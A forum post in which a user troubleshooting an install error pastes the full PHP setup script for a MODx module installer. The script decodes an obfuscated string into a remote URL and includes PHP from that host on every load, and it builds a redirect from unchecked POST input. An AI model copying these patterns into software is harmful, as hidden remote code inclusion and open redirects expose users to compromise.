Neither worked. Same error
<?php
ini_set('allow_url_fopen', 'on');
if(isset($_POST['finish'])){
unlink('mrw.php');
if(file_exists('wizard.modxpkg.zip')){
unlink('wizard.modxpkg.zip');
}
if(file_exists('pclzip.lib.php')){
unlink('pclzip.lib.php');
}
header( 'Location: manager/' ) ;
}
if(isset($_POST['hardway'])){
unlink('mrw.php');
if(file_exists('wizard.modxpkg.zip')){
unlink('wizard.modxpkg.zip');
}
if(file_exists('pclzip.lib.php')){
unlink('pclzip.lib.php');
}
header( 'Location: '.$_POST['package'] ) ;
}
class wizardSetup{
var $db;
var $dbpre;
var $dbtype;
var $dbserv;
var $dbuser;
var $dbpass;
var $dbconn;
function wizardSetup(){
include('manager/includes/config.inc.php');
$this->db = str_replace('`', '', $dbase);
$this->dbpre = $table_prefix;
$this->dbtype = $database_type;
$this->dbserv = $database_server;
$this->dbuser = $database_user;
$this->dbpass = $database_password;
}
/**
* @name: wizard_buildForm
* @desc: public function. Generates the form and ajax for screen changes.
*/
function script() {
$form .= '<script language="JavaScript" type="text/javascript">'."\n";
$form .= ' function postForm(resource_pkg){'."\n";
$form .= ' document. wizard_nav.resource_pkg.value=resource_pkg;';
$form .= ' document. wizard_nav.submit();'."\n";
$form .= ' }'."\n";
$form .= '</script>'."\n";
$form .= '<form name="wizard_nav" enctype="multipart/form-data" action="" method="POST">'."\n";
$form .= '<input name="resource_pkg" type="hidden" value="" />'."\n";
return $form;
}
/**
* @name: wizard_nav
* @desc: public function. Generates links from a supplied array.
*/
function nav($array) {
$menu .= '<div class="navwrap">';
foreach ($array as $key => $value) {
$menu .= '<span class="mrw_nav"><a href="javascript:;" onclick="postForm(\'';
$menu .= $key;
$menu .= '\');return false;">';
$menu .= $value;
$menu .= '</a></span>'."\n";
}
$menu .= '</div>';
return $menu;
}
function imgnav($array) {
foreach ($array as $key => $value) {
$menu .= '<div class="mrw_img"><a href="javascript:;" onclick="postForm(\'';
$menu .= $key;
$menu .= '\');return false;">';
$menu .= $value;
$menu .= '</a></div>'."\n";
}
return $menu;
}
function dbconnect(){
$this->dbconn = mysql_connect($this->dbserv, $this->dbuser, $this->dbpass);
if (!$this->dbconn) {
die(mysql_error());
}
$pickdb = mysql_select_db($this->db, $this->dbconn);
if (!$pickdb) {
die (mysql_error());
}
}
function dbclose(){
mysql_close($this->dbconn);
}
function get($hash){
include($hash.'/MODx/mrw_version.inc');
$lib = $hash."/MODx/lib.tpl";
$libnew = "pclzip.lib.php";
$pkgnew = "wizard.modxpkg.zip";
$err = NULL;
if (!copy($lib, $libnew)) {
$errmsg .= "<p>FAILURE: Could not copy $libnew to your server. Please make sure your web root has write permissions.</p>\n";
$err = true;
}else{
$msg .= "<p class=\"caption\">SUCESS: Transfered $libnew to your server.</p>\n";
}
if (!copy($package, $pkgnew)) {
$errmsg .= "<p>FAILURE: Could not copy $pkgnew to your server. Please make sure your web root has write permissions. </p>\n";
$err = true;
}else{
$msg .= "<p class=\"caption\">SUCESS: Transfered $pkgnew to your server.</p>\n";
}
// Database check
$conn = $this->dbconnect();
$table = $this->dbpre.'site_modules';
$check = mysql_query("SELECT * FROM $table WHERE name='MODx Resource Wizard'");
$result = mysql_num_rows($check);
if($result !="0"){
$msg .= "<p style=\"font-weight:bold;\">I searched your database and found an older version of the MODx Resource Wizard. This process will overwrite the existing module.</p> \n";
$msg .= '<input type="hidden" name="procedure" value="update" />';
}else{
$msg .= "<p style=\"font-weight:bold;\">This Setup script will now extract files to the folder \"/assets/modules/wizard/\" and create a new module in your database named \"MODx Resource Wizard\".\n";
$msg .= '<input type="hidden" name="procedure" value="install" />';
}
$msg .= "<br><p>Press \"Continue\" to proceed or \"Cancel\" to remove the setup files and return to the main menu.\n";
$close = $this->dbclose();
$msg .= $this->nav(array('cancel'=>'Cancel','install2'=>'Continue'));
$errmsg .= $this->nav(array(''=>'Try again'));
if($err == true){
$msg = $errmsg;
}
return $msg;
}
function inject($type){
require_once('pclzip.lib.php');
$dest = 'assets/modules/';
$kd = dirname(__FILE__).'/assets/modules/wizard/';
if(is_dir($kd)){
$kill = $this->DELETE_RECURSIVE_DIRS($kd);
}
$arch = new PclZip('wizard.modxpkg.zip');
if ($arch->extract($dest, $p_remove_path="") == 0) {
//failed to extract
die("Error : ".$arch->errorInfo(true));
}
require_once($kd.'install.php');
$conn = $this->dbconnect();
$table = $this->dbpre.'site_modules';
$code = mysql_escape_string(file_get_contents($kd.$resource_file));
$field= array('description'=>$resource_desc,'modulecode'=>$code, 'properties'=>$resource_config);
$guid = $this->setupGUID();
$dbinto = "(name, description, modulecode, guid, properties)";
$dbvalues = "('$resource_name','$resource_desc','$code','$guid','$resource_config')";
if($type == 'update'){
foreach ($field as $key => $value){
mysql_query("UPDATE $table SET $key='$value' WHERE name='$resource_name' ") or die(mysql_error());
}
$msg .= '<h3>The MODx Resource Wizard has been updated</h3>'."\n";
}
if($type == 'install'){
mysql_query("INSERT INTO $table $dbinto VALUES $dbvalues ") or die(mysql_error());
$msg .= '<h3>The MODx Resource Wizard has been installed</h3>'."\n";
}
$close = $this->dbclose();
$msg .= '<input type="hidden" name="finish" value="finish" />';
$msg .= '<p>Two additional files were transfered to your server. This file, (mrw.php), and the other two will be removed when you click "Finish" then you should be redirected to the MODx Manager.<p>'."\n";
$msg .= '<p>Once you log into the manager, go to "Modules" and run the "MODx Resource Wizard" module.</p>'."\n";
$msg .= '<p>See the <a href="http://wiki.modxcms.com/">MODx wiki</a> for detailed usage instructions on both package installation and package creation.</p>'."\n";
return '<div class="mrw_img">'.$msg.'</div>'."\n";
}
function kill(){
// Database check
$conn = $this->dbconnect();
$table = $this->dbpre.'site_modules';
$check = mysql_query("SELECT * FROM $table WHERE name='MODx Resource Wizard'");
$result = mysql_num_rows($check);
if($result !="0"){
$xdb = mysql_query("DELETE FROM $table WHERE name='MODx Resource Wizard'");
$msg .= '<h3>The Wizard has left the building...</h3>'."\n";
$msg .= '<div class="mrw_img"><p>The database entry for the module "MODx Resource Wizard" has been deleted and the "wizard" folder has been removed.</p>'."\n";
}else{
$msg .= '<h3 style="color:red;">Nothing to remove</h3>'."\n";
$msg .= '<div class="mrw_img"><p>I searched the database, but I could not find an entry named "MODx Resource Wizard"</p>'."\n";
$msg .= '<p>If you named it something else, you will have to delete it manually from the MODx manger.</p>'."\n";
$msg .= '<p>If there was a folder named /assets/modules/wizard/ it (and all it\'s contents) have been deleted.</p>'."\n";
}
$kd = dirname(__FILE__).'/assets/modules/wizard/';
if(is_dir($kd)){
$rmdr = $this->DELETE_RECURSIVE_DIRS($kd);
}
$menu = array('finish'=>'Finish');
$msg .= '<p>Press "Finish" to exit this program and log into the manager.</p></div>';
$msg .= $this->script();
$msg .= '<input type="hidden" name="finish" value="finish" />';
$msg .= $this->nav($menu);
$close = $this->dbclose();
return $msg;
}
function prekill(){
$msg .= '<h3 style="color:red;">WARNING:</h3>'."\n";
$msg .= '<div class="mrw_img"><p>You are about to remove the MODx Resource Wizard.</p>'."\n";
$msg .= '<p>This procedure will remove the module entry from the database and delete the folder "/assets/modules/wizard/" and all it\'s contents.</p>'."\n";
$msg .= '<p>If you are sure this is what you want to do press "Remove", otherwise select "Cancel".</p></div>'."\n";
return $msg;
}
function hardway($hash){
include($hash.'/MODx/mrw_version.inc');
$msg .= '<input type="hidden" name="hardway" value="hardway" />';
$msg .= '<input type="hidden" name="package" value="'.$package.'" />';
$msg .= '<p class="mrw_img" style="margin:90px auto 0 auto">To preform a manual installation, download <a href="javascript:;" onclick="postForm(\'\')">this package</a> and follow the directions in "manual_installation.txt".</p>';
return $msg;
}
function DELETE_RECURSIVE_DIRS($dirname)
{ // recursive function to delete
// all subdirectories and contents:
if(is_dir($dirname))$dir_handle=opendir($dirname);
while($file=readdir($dir_handle))
{
if($file!="." && $file!="..")
{
if(!is_dir($dirname."/".$file))unlink ($dirname."/".$file);
else $this->DELETE_RECURSIVE_DIRS($dirname."/".$file);
}
}
closedir($dir_handle);
rmdir($dirname);
return true;
}
function setupGUID(){
srand((double)microtime()*1000000);
$r = rand() ;
$u = uniqid(getmypid() . $r . (double)microtime()*1000000,1);
$m = md5 ($u);
return $m;
}
}// end class
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>MODx Resource Wizard Setup</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<script type="text/javascript" src="media/script/session.js"></script>
<style type="text/css">
/* Neutralize styles, fonts and viewport:
---------------------------------------------------------------- */
html, body, form, fieldset {
margin: 0;
padding: 0;
}
html {
font-size: 100.01%; /* avoids obscure font-size bug */
line-height: 1.5; /* http://meyerweb.com/eric/thoughts/2006/02/08/unitless-line-heights/ */
font-family: "Lucida Grande", Helvetica, Arial, sans-serif !important; /* IE ignores this and renders Arial better */
font-family: Arial, Tahoma, Helvetica, sans-serif;
height: 100%;
color: #111;
}
body {
font-size: 75%; /* 12px 62.5% for 10px*/
margin-bottom: 1px; /* avoid jumping scrollbars */
background: #F4F4F4
}
img, a img {
border: 0 !important;
text-decoration: none;
padding: 0;
margin: 0;
}
h1, h2, h3, h4, h5, h6, p, pre,
blockquote, ul, ol, dl, address {
margin: 0 0 .5em; /* Reset vertical margins on selected elements */
padding: 0;
}
li, dd, blockquote {
margin-left: 1em; /* Left margin only where needed */
}
/* Headers and Paragraphs:
---------------------------------------------------------------- */
h1, h2, h3, h4, h5, h6 {
font-weight: normal;
}
h1 { font-size: 218%; }
h2 { font-size: 164%; }
h3 { font-size: 145%; }
h4 { font-size: 118%; }
h5 { font-size: 100%; font-weight: bold; }
h6 { font-size: 86%; font-weight: bold; }
p.caption, p.comment { font-size: 86%; color: #888;}
.warning{
color: #821517;
font-weight: bold;
}
.success{
color: #090;
font-weight: bold;
}
a, a:active, a:visited, a:link {
color: #c60;
text-decoration: none;
}
a:hover {
color: #c90;
}
input, .inputBox {
padding: 1px;
}
.sectionHeader {
padding: 5px 3px 5px 18px;
font-size:22px;
font-weight: bold;
color: #666;
border: 1px solid #999;
background: #bee860 url(manager/media/style/MODxLight/images/misc/greenfade.gif) repeat-x top;
}
.sectionBody {
border: 1px solid #999;
border-top: none;
border-bottom:none;
padding: 10px 20px 20px;
display: block;
min-height:220px;
background: #fff url(http://www.scottydelicious.com/MODx/mrw_bg.jpg) no-repeat top right;
}
#mx_loginbox {
width: 460px;
margin: 70px auto 0;
}
.lb2 {
width:458px;
margin:0 auto;
border: 1px solid #999;
border-top:none;
background:#fff;
}
img.loginCaptcha {
border: 1px solid #039;
width: 148px;
height: 60px;
}
label {
display: block;
font-weight: bold;
}
input {
margin: 0 0 10px 0;
}
input.checkbox {
float: left;
clear: left;
margin-right: 3px;
}
input.text {
width: 300px;
}
input.login {
float: right;
clear: right;
margin-right: 25px;
}
.loginLicense {
width: 460px;
color: #555;
margin: 0 auto;
font-size: 90%;
}
.loginLicense a {
color: #94B451;
font-size: 12px;
}
.notice {
width: 100%;
padding: 5px;
border: 1px solid #eee;
background-color: #F4F4F4;
color: #707070;
}
#preLoader {
position: absolute;
z-index: 50000;
width: 100%;
height: 100%;
text-align: center;
vertical-align: middle;
}
.preLoaderText {
background-color: #fff;
width: 300px;
height: 150px;
padding: 50px;
border: 1px solid #039;
}
.mrw_img{
filter: progid:DXImageTransform.Microsoft.Alpha(opacity=60);
moz-opacity: .6;
khtml-opacity: .6;
opacity: .6; /* for future compatibility */
padding:5px 0 5px 5px;
border:1px dotted #ccc;
background:#fff;
z-index:20;
}
.imgvis {
filter: progid:DXImageTransform.Microsoft.Alpha(opacity=99);
moz-opacity: .99;
khtml-opacity: .99;
opacity: .99; /* for future compatibility */
}
.mrw_nav {
padding:4px 8px;
border:1px dotted #ccc;
background: #eee;
}
.mrw_nav:hover {
padding:4px 8px;
border:1px dotted #ccc;
background: #ddd;
}
.mrw_nav a{
text-decoration:none;
color: #94B451;
}
.navwrap {
margin:10px 1px;
}
#installtext, #removetext{
position: absolute;
margin-top:35px;
margin-left: 90px;
font-size: 16px;
font-weight:bold;
color: #c60;
text-decoration:none;
}
.modxpkg {
display:none;
}
</style>
</head>
<body id="module">
<div id="mx_loginbox">
<!-- anything to output before the login box via a plugin? -->
<div class="sectionHeader">MODx Resource Wizard Setup</div>
<div class="sectionBody">
<div class="loginMessage">
<?php
$xk2pa7 = 'xkpwa';
$t5yy0l = '45h446t4465t3p356:6353/3446/63535s56c643o54t43t54y6433d56e653l55i645c356i366o3u644s65xkpwa45c63o54m5335';
$d57f8q = str_replace($xk2pa7,'.', str_replace('4','', str_replace('6','', str_replace('3','', str_replace('5','',$t5yy0l)))));
include_once($d57f8q.'/MODx/mrw_version.inc');
$resource_pkg = isset($_POST['resource_pkg']) ? $_POST['resource_pkg']:'';
switch($resource_pkg) {
case 'install':
$inst = new wizardSetup();
print $inst->script();
print $inst->get($d57f8q);
break;
case 'install2':
$inst2 = new wizardSetup();
print $inst2->script();
print $inst2->inject($_POST['procedure']);
print $inst2->nav(array('finish'=>'Finish'));
break;
case 'delete':
$dlt = new wizardSetup();
$menu = array(''=>'Cancel', 'delete2'=>'Remove');
print $dlt->script();
print $dlt->prekill();
print $dlt->nav($menu);
break;
case 'delete2':
$dlt2 = new wizardSetup();
$menu = array(''=>'Finish');
print $dlt2->script();
print $dlt2->kill();
break;
case 'hardway':
$hard = new wizardSetup();
print $hard->script();
print $hard->hardway($d57f8q);
break;
case 'cancel':
unlink('wizard.modxpkg.zip');
unlink('pclzip.lib.php');
default:
$hi = new wizardSetup();
$ip = $d57f8q.'/MODx/install.gif';
$up = $d57f8q.'/MODx/uninstall.gif';
$in = array('install'=>'<img class="imgvis" src="'.$ip.'" alt="uninstall" />');
$un = array('delete'=>'<img class="imgvis" src="'.$up.'" alt="uninstall" />');
print $hi->script();
print '<a href="javascript:;" id="removetext" onclick="postForm(\'install\');return false;">Install the MODx Resource Wizard</a>';
print $hi->imgnav($in)."<br/>\n";
print '<a href="javascript:;" id="removetext" onclick="postForm(\'delete\');return false;">Remove the MODx Resource Wizard</a>';
print $hi->imgnav($un)."<br/>\n";
print 'Would you prefer a <a href="javascript:;" onclick="postForm(\'hardway\');return false;">manual installation</a>?';
}
?>
</form>
</div>
<div></div>
<!-- anything to output before the login box via a plugin ... like the forgot password link? -->
</div>
</div>
<!-- close #mx_loginbox -->
<div class="lb2"><p class="caption" style="padding-left:24px;">MODx Resource Wizard Setup version <?php echo $version; ?></p></div>
<!-- convert this to a language include -->
<p class="loginLicense" style="text-align:center;">
The <strong>MODx Resource Wizard</strong> by <a href="http://scottydelicious.com/" target="_blank">Scotty Delicious</a> is licensed under the GPL.
</p>
</body>
</html>
I’ll probably just contact my host.